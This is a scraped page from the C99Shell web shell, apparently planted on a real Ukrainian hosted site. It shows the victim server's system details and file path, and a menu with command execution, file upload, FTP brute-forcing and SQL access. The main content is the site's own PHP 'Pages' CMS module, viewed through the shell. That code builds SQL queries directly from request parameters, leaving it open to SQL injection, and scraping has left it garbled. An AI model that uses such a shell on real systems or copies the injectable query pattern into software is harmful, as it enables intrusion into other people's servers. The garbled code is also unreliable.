!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/zt-tsou.org.ua/modules/pages/   drwxr-xr-x
Free 106.79 GB of 200.55 GB (53.25%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     module.php (15.3 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
class Pages
{
    var 
$UserMode   true;
    var 
$AdminMode  true;
    var 
$SearchMode true;
    var 
$AdminAsynchMode true;
    var 
$PanelMode  true;
    var 
$ChaptersTable;
    var 
$PagesTable;
    var 
$Directory;
    var 
$ClassName 'Pages';
    var 
$Photomanager;
    var 
$ChaptersTree;
    function 
Pages()
    {        
        
$this->Directory dirname(__FILE__);
        
$this->ChaptersTable = new AMTable2('AMCMS_chapters');
        
$this->ChaptersTable->AddIndexField('chapter_id');
        
$this->ChaptersTable->SetParentField('chapter_parent_id');
        
$this->ChaptersTable->Module($this->ClassName);
        
$this->ChaptersTable->AddPositionField("chapter_position");
        
$this->ChaptersTable->CreateTree(0);
        foreach (
$this->ChaptersTable->tree as $key => $value)
        {
            
$this->ChaptersTable->tree[$key]["title"] = $value['preffix'].
            
$this->ChaptersTable->tree[$key]["chapter_title_".GetParam("DefaultLanguage")];
        }            
        
$this->ChaptersTree $this->ChaptersTable->tree;
        
$this->PagesTable = new AMTable2('AMCMS_pages');
        
$this->PagesTable->AddIndexField('page_id');
        
$this->PagesTable->Module($this->ClassName);
        
$this->PagesTable->AddPositionField("page_position");
        
$params['text']['small'] = GetParam("PagesSmallPhotoSize");
        
$params['text']['big']      = GetParam("PagesBigPhotoSize");
        
$this->Photomanager = new AMPhotomanager($params);        
    }
    function 
User()
    {                
         global 
$ULANG$ulang;
        
$smarty GetUserSmarty($this->ClassName);
         if (isset(
$_GET['chapter_id']))
         {
             
$pages   $this->PagesTable->GetRows("page_position DESC""page_chapter_id = '{$_GET['chapter_id']}'");
             
$chapter $this->ChaptersTree[$_GET['chapter_id']];
            if (
$chapter == null)
                return;        
            
$allCount 0;
            if (
count($this->ChaptersTree) > 0)
            {
                
//$chapters_html  = "<div class=\"chapters-block\">{$ULANG['PagesChaptersBlockName']}</div>";            
                
$chapters_html "<ul class=\"chapters-list\">";
                foreach(
$this->ChaptersTree as $key => $value)
                {
                    if (
$value['chapter_parent_id'] == $_GET['chapter_id'])
                    {
                        
$link "/pages/c{$value['chapter_id']}";
                        
$chapters_html .= "<li><a href=\"$link\">{$value['chapter_title_'.$ulang]}</a></li>";    
                        
$allCount++;
                    }                 
                }
                
$chapters_html .= "</ul>";
                if (
$allCount 0)
                    
$html $chapters_html;
            }
            if (
count($pages) > 0)
            {
                
//$html .= "<div class=\"chapters-block\">{$ULANG['PagesPagesBlockName']}</div>";            
                
$html .= "<ul class=\"pages-list\">";
                foreach(
$pages as $key => $value)
                {
                    
$link "/pages/p{$value['page_id']}";                    
                    
$html .= "<li><a href=\"$link\">{$value['page_title_'.$ulang]}</a></li>";                 
                    
$allCount++;
                }
                
$html .= "</ul>";
            }
            if (
$allCount == 0)
                return;
            
$result['Title'] = $this->ChaptersTree[$_GET['chapter_id']]['chapter_title_'.$ulang];
            
$result['Content'] = $html;
            
$navigator = new AMNavigator();
            
            
$chapter_id $_GET['chapter_id'];
            
$arr = array();
            while(
$chapter_id != 1)
            {
                
array_push($arr$this->ChaptersTree[$chapter_id]);                
                
$chapter_id $this->ChaptersTree[$chapter_id]['chapter_parent_id'];                                
            }
            while (
count($arr) > 0)
            {
                
$elem array_pop($arr);
                
$navigator->AddLink($elem['chapter_title_'.$ulang], "/pages/c".$elem['chapter_id']);
            }                                    
            
$result['GlobalParams']['Navigator'] = $navigator->Fetch();
            
$result['GlobalParams']['PageTitle'] = $navigator->GetTitleForPage();
            
$result['Module'] = $this->ClassName;    
            
$result['Print']  = true;    
            return 
$result;
         }
        if (isset(
$_GET['page_id']))
        {        
            
$row $this->PagesTable->GetRowById($_GET['page_id']);
            if (
$row == null)
                return;
            
$result['Title']   = $row['page_title_'.$ulang];
            
$smarty->assign('Photomanager'$this->Photomanager);
            
$smarty->assign('row'$row);
            
$smarty->assign('mod'$this->ClassName);
            
$result['Content'] = $smarty->fetch("user-page.tpl");;            
            
$navigator = new AMNavigator();
            
$chapter_id $row['page_chapter_id'];
//            $chapters = $this->ChaptersTable->GetRows();
            
$arr = array();
            
$cnt 0;
            while(
$chapter_id != 1)
            {
                
array_push($arr$this->ChaptersTree[$chapter_id]);                
                
$chapter_id $this->ChaptersTree[$chapter_id]['chapter_parent_id'];                                
                
$cnt++;
                if (
$cnt 10) break;
            }
            while (
count($arr) > 0)
            {
                
$elem array_pop($arr);
                
$navigator->AddLink($elem['chapter_title_'.$ulang], MOD_REWRITE "/pages/c".$elem['chapter_id'] : "?chapter_id=".$elem['chapter_id']);
            }                        
            
$navigator->AddLink($row['page_title_'.$ulang], MOD_REWRITE "/pages/p".$_GET['page_id'] : "?page_id=".$_GET['page_id']);
            
$result['GlobalParams']['Navigator'] = $navigator->Fetch();
            
$result['GlobalParams']['PageTitle'] = $navigator->GetTitleForPage();
            
$result['Module'] = $this->ClassName;
            
$result['Print'] = true;    
            return 
$result;
        }
    }    
    function 
Menu()
    {
        global 
$ALANG;
        return array(
                array(
'title' => $ALANG['PagesMenuPageAdd'],          'link' => '?mod='.$this->ClassName.'&page&add'),
                array(
'title' => $ALANG['PagesMenuPagesList'],         'link' => '?mod='.$this->ClassName.'&page&list'),
                array(
'title' => $ALANG['PagesMenuChapterAdd'],      'link' => '?mod='.$this->ClassName.'&chapter&add'),
                array(
'title' => $ALANG['PagesMenuChaptersList'],     'link' => '?mod='.$this->ClassName.'&chapter&list'),
                );
    }
    var 
$depth = -1;
    var 
$ChaptersFormNode = array();
    function 
AdminAsynch()
    {
        global 
$alang$ALANG;
        if (isset(
$_GET['link']) && isset($_GET['create']))
        {
            if (
$_POST['page_id'] == && $_POST['chapter_id'] != 0)
            {
                
$res['link'] = "/pages/c".$_POST['chapter_id'];
                
$res['chapter_id'] = $_POST['chapter_id'];
            }
            if (
$_POST['page_id'] != && $_POST['chapter_id'] != 0)
            {
                
$res['link'] = "/pages/p".$_POST['page_id'];
                
$res['page_id'] = $_POST['page_id'];
            }
            echo 
json_encode($res);
            die;
        }
        if (isset(
$_GET['get']) && isset($_GET['chapters']))
        {
            
$chapters $this->ChaptersTree;                
            
$rows = array();
            
$rows [] = array('title' => '''id' => '0');
            foreach (
$chapters as $key => $value)
                 
$rows[] = array('title' => $value['title'], 'id' => $value['chapter_id']);
            echo 
json_encode($rows);
            return;
        }
        if (isset(
$_GET['get']) && isset($_GET['pages']))
        {
            
$pages $this->PagesTable->GetRows("page_position DESC""page_chapter_id={$_POST['chapter_id']}");                
            
$rows = array();
            if (
$_POST['chapter_id'] != 0)
                 
$rows[] = array('title' => $ALANG['PagesDisplayAsChapter'], 'id' => '0');
            foreach (
$pages as $key => $value)
                 
$rows[] = array('title' => $value['page_title_'.GetParam("DefaultLanguage")], 'id' => $value['page_id']);
            echo 
json_encode($rows);
            return;
        }            
        if (isset(
$_GET['link']) && isset($_GET['parse']))
        {
            
preg_match("/pages\/p([0-9]{1,9})/"$_POST['link'],$mathces);
            if (
$mathces[1] > 0)
            {
                
$row $this->PagesTable->GetRowById($mathces[1]);
                
$res["mod"]         = $this->ClassName;
                
$res["chapter_id"]     = $row['page_chapter_id'];
                
$res["page_id"]     = $row['page_id'];
                echo 
json_encode($res);
                return;
            }
            
preg_match("/pages\/c([0-9]{1,9})/"$_POST['link'],$mathces);            
            if (
$mathces[1] > 0)
            {                    
                
$res["mod"]         = $this->ClassName;
                
$res["chapter_id"]     = $mathces[1];
                
$res["page_id"]     = 0;
                echo 
json_encode($res);
            }
            
$res["mod"]         = $this->ClassName;
            
$res["chapter_id"]     = 0;
            
$res["page_id"]     = 0;
            echo 
json_encode($res);
            return;
        }        
        if (isset(
$_GET['chapters']) && isset($_GET['getadmintable']))
        {
            
$fields     = array("chapter_id""title");
            
$captions   = array($ALANG['Pages_chapter_id'], $ALANG['Pages_chapter_title']);
            
$order        "chapter_position ASC";
            
$links         = array("checkbox""delete""edit""up""down");
            
$params     = array("id" => "chapters""tree" => "chapter_title_".GetParam("DefaultLanguage"));
            
$multiple   = array("delete");
            echo 
$this->ChaptersTable->GetAdminTable($fields$captions$conditions$order$links$multiple$params); 
            die;
        }
        
$this->PagesTable->Run($_POST);
        
$this->ChaptersTable->Run($_POST);
    }
    function 
Admin()
    {
            global 
$ALANG$alang;
            
$smarty GetAdminSmarty($this->ClassName);                          
            
$smarty->assign('chapters'$this->ChaptersTree);
              if (isset(
$_GET['page']) && isset($_GET['add']))
            {
                if (isset(
$_POST['add']))
                {
                    
$_POST['news_title_ukr'] = addslashes($_POST['news_title_ukr']);
                    
$_POST['news_title_rus'] = addslashes($_POST['news_title_rus']);
                    
$_POST['news_title_eng'] = addslashes($_POST['news_title_eng']);
                    
$_POST['page_date_of_creation'] = $_POST['page_date_of_edition'] = GetCurrentDateAndTime();
                    
$id $this->PagesTable->Insert($_POST);
                    
$this->Photomanager->Run($_POST$_FILES$this->ClassName, ($this->PagesTable->IndexField."=".$id));
                    
header("Location: ?mod=".$this->ClassName."&page&list&chapter_id={$_POST['page_chapter_id']}");
                }                    
                  foreach(
$_POST as $key => $value)
                      
$smarty->assign($key$value);
                  
$smarty->assign('oper''add');
                
$photo_admin_table1 $this->Photomanager->GetAdminTable$this->ClassName, ($this->PagesTable->IndexField."=".$id),'main');
                
$photo_admin_table2 $this->Photomanager->GetAdminTable$this->ClassName, ($this->PagesTable->IndexField."=".$id),'photos');
                
$smarty->assign('photo_admin_table1'$photo_admin_table1);
                
$smarty->assign('photo_admin_table2'$photo_admin_table2);
                  
$result['Title']     = $ALANG['PagesPageAdd'];                
                  
$result['Content']  = $smarty->fetch('page.tpl');
                return 
$result;
            }              
              
            if (isset(
$_GET['edit']) && isset($_GET['page_id']))
            {
                if (isset(
$_POST['edit']))
                {
                    
$id $_GET['page_id'];
                    
$_POST['news_title_ukr'] = addslashes($_POST['news_title_ukr']);
                    
$_POST['news_title_rus'] = addslashes($_POST['news_title_rus']);
                    
$_POST['news_title_eng'] = addslashes($_POST['news_title_eng']);    
                    
$_POST['page_date_of_edition'] = GetCurrentDateAndTime();
                    
$this->PagesTable->Update($_POST$id);
                    
$this->Photomanager->Run($_POST$_FILES$this->ClassName, ($this->PagesTable->IndexField."=".$id));
                    
header("Location: ?mod=".$this->ClassName."&page&list&chapter_id={$_POST['page_chapter_id']}");
                }
                
$id $_GET['page_id'];
                
$row $this->PagesTable->GetRowById($id);
                foreach(
$row as $key => $value)
                    
$smarty->assign($key$value);
                  
$smarty->assign($key$value);
                  
$smarty->assign('oper''edit');

                
$photo_admin_table1 $this->Photomanager->GetAdminTable$this->ClassName, ($this->PagesTable->IndexField."=".$id),'main');
                
$photo_admin_table2 $this->Photomanager->GetAdminTable$this->ClassName, ($this->PagesTable->IndexField."=".$id),'photos');
                
$smarty->assign('photo_admin_table1'$photo_admin_table1);
                
$smarty->assign('photo_admin_table2'$photo_admin_table2);

                  
$result['Title']     = $ALANG['PagesPageEdit'];
                  
$result['Content']     = $smarty->fetch('page.tpl');
                  return 
$result;                    
            }
            
              if (isset(
$_GET['page'])&&isset($_GET['list']))
            {                        
                
$chapters $this->ChaptersTree;
                
$option "";                
                
$chapter_id 1;
                if (isset(
$_GET['chapter_id']))
                    
$chapter_id $_GET['chapter_id'];
                if (isset(
$_POST['chapter_id']))
                    
$chapter_id $_POST['chapter_id'];
                
$smarty->assign("chapter_id"$chapter_id);
                            
                
$fields     = array("page_id""page_title_".GetParam("DefaultLanguage"));
                
$captions   = array($ALANG['Pages_page_id'], $ALANG['Pages_page_title']);
                
$conditions "page_chapter_id = '$chapter_id'";
                
$order        "page_position DESC";
                
$links         = array("checkbox""delete""edit");
                
$params     = array("sortable" => "yes""id" => "pages");
                
$multi         = array("delete");
                
$html $this->PagesTable->GetAdminTable($fields$captions$conditions$order$links$multi$params);
                
$result['Title']     = $ALANG['PagesMenuPagesList'];
                
$result['Content']  = $smarty->fetch("selector.tpl").$html;
                return 
$result;
            }        
            if (isset(
$_GET['chapter'])&&isset($_GET['list']))
            {                                                
                
$fields     = array("chapter_id""title");
                
$captions   = array($ALANG['Pages_chapter_id'], $ALANG['Pages_chapter_title']);
                
$order        "chapter_position ASC";
                
$links         = array("checkbox""delete""edit""up""down");
                
$params     = array("id" => "chapters""tree" => "chapter_title_".GetParam("DefaultLanguage"));
                
$multiple   = array("delete");
                
$html $this->ChaptersTable->GetAdminTable($fields$captions$conditions$order$links$multiple$params);
                
$result['Title']      = $ALANG['PagesChaptersList'];
                
$result['Content']   = $html.$smarty->fetch("chapters-list.tpl");
                return 
$result;
            }
            
            
            if (isset(
$_GET['chapter']) && isset($_GET['add']))
            {
                if (isset(
$_POST['add']))
                {
                    
$this->ChaptersTable->Insert($_POST);
                    
header("Location: ?mod=".$this->ClassName."&chapter&list");
                    die;
                }                
                  foreach(
$_POST as $key => $value)
                      
$smarty->assign($key$value);
                  
$smarty->assign('oper''add');                
                  
$result['Title']     = $ALANG['PagesChapterAdd'];                
                  
$result['Content']    = $smarty->fetch('chapter.tpl');
                return 
$result;
            }
                                              
            if (isset(
$_GET['edit']) && isset($_GET['chapter_id']))
            {
                if (isset(
$_POST['edit']))
                {
                    
$chapter_parent_id $_POST['chapter_parent_id'];
                    
$this->ChaptersTable->Update($_POST$_GET['chapter_id']);
                    
header("Location: ?mod=".$this->ClassName."&chapter&list&chapter_id=".$_GET['chapter_id']);
                    die;
                }                                  
                if (
$_GET['chapter_id'] == 1)
                     
header("Location: ?mod=".$this->ClassName."&chapter&list");
                
$row $this->ChaptersTable->GetRowById($_GET['chapter_id']);
                foreach(
$row as $key => $value)
                    
$smarty->assign($key$value);
                  
$smarty->assign('oper''edit');
                  
$result['Title']     = $ALANG['PagesChapterEdit'];
                  
$result['Content']         = $smarty->fetch('chapter.tpl');
                  return 
$result;                    
            }
    }        
    function 
Search($words)
    {
        global 
$ulang$ULANG;        
        
$fields = array("page_title_".$ulang"page_description_".$ulang"page_text_".$ulang"page_keywords_".$ulang);
        
$rows SearchOnSite($words, array('page_title_'.$ulang"page_chapter_id"), 'page_id'$fields'AMCMS_pages');
        
$searchRows = array();
        
$chapters $this->ChaptersTable->GetRows();                        
        if (
$rows)
        {
            foreach(
$rows as $key => $value)
            {
                
$chapter_id $value['page_chapter_id'];
                
$arr = array();
                
$i 0;
                while((
$chapter_id != 1) && ($chapter_id != 0))
                {
                    
$arr [] = $this->ChaptersTree[$chapter_id];
                    
$chapter_id $this->ChaptersTree[$chapter_id]['chapter_parent_id'];                                
                    
$i++;
                    if (
$i 10) break;
                }
                
$row['Module'] = $this->ClassName;
                
$row['Title']  = $value['page_title_'.$ulang];
                for (
$i 0$i count($arr); $i++)
                    
$row['Title'] .= " | ".$arr[$i]['chapter_title_'.$ulang];
                
$row['Date']   = $value['page_date_of_creation'];
                
$row['Link']   = '/pages/p'.$value['page_id'];
                
$row['Relev']  = $value['relev'];                
                
$row['NewWindowLink'] = $row['Link'];
                
$searchRows [] = $row;
            }
        }        
        return 
$searchRows;
    }
    function 
Panel()
    {
        global 
$ULANG$ulang;
        
$page $this->PagesTable->GetRowById(GetParam("MainPageValue"));
        
$smarty GetUserSmarty($this->ClassName);
        
$smarty->assign('rows'$rows);
        
$smarty->assign('Photomanager'$this->Photomanager);
        
$smarty->assign('mod'$this->ClassName);
        
$result[$this->ClassName] = array( 'Title' => $page["page_title_{$ulang}"],
                                 
'Content' => ReplaceImages($page["page_text_{$ulang}"]),
                                 
'Module' => $this->ClassName);
        return 
$result;
    }
    

$Modules ['Pages'] = new Pages();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.011 ]--